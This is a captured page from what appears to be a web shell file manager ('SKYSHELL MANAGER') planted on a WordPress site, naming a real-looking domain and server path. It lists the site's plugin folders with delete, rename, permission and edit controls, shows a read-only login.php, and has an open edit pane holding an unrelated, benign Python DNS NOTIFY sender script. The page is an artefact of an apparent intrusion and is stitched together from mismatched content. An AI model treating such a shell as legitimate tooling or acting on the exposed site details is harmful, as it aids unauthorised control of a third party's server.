📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
3580.59 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: send_notify.py
#!/usr/bin/python """ Minimalistic RFC 1996-like NOTIFY sender. """ import argparse import ipaddress import socket import dns.flags import dns.inet import dns.message import dns.name import dns.opcode import dns.query import dns.rrset import dns.rdataclass import dns.rdatatype def main(): """Also prints all inputs and intermediate values""" parser = argparse.ArgumentParser( description="Send DNS NOTIFY mesage via UDP, optionally with synthetized SOA RR " "in ANSWER section. No checks. It's not RFC 1996 sect 3.6 compliant sender." ) parser.add_argument("--source", type=ipaddress.ip_address, help="source IP address") parser.add_argument("--port", type=int, help="target port", default=53) parser.add_argument("target", type=ipaddress.ip_address, help="target IP address") parser.add_argument("zone", type=dns.name.from_text) parser.add_argument( "serial", nargs="?", type=int, help="optional serial - adds SOA RR into ANSWER section", ) parser.add_argument( "--rdclass", default=dns.rdataclass.IN, type=dns.rdataclass.from_text, help="DNS class, defaults to IN", ) args = parser.parse_args() if args.source: if dns.inet.af_for_address(str(args.target)) != dns.inet.af_for_address( str(args.source) ): parser.error("address family for source and target must be the same") print(args) msg = construct_msg(args) print(msg) udp_send(msg, args) def construct_msg(args): """if args.serial is specified it creates fake SOA RR with given serial""" msg = dns.message.make_query( args.zone, dns.rdatatype.SOA, rdclass=args.rdclass, flags=dns.flags.AA ) msg.set_opcode(dns.opcode.NOTIFY) if args.serial: soa = dns.rrset.from_text_list( name=args.zone, ttl=0, rdclass=args.rdclass, rdtype=dns.rdatatype.SOA, text_rdatas=[f". . {args.serial} 0 0 0 0"], ) msg.answer.append(soa) return msg def udp_send(msg, args): """ignores checks prescribed by RFC 1996 sect 3.6""" afam = dns.inet.af_for_address(str(args.target)) sock = socket.socket(afam, socket.SOCK_DGRAM) if args.source: sock.bind((str(args.source), 0)) dns.query.send_udp(sock, what=msg, destination=(str(args.target), args.port)) if __name__ == "__main__": main()
Save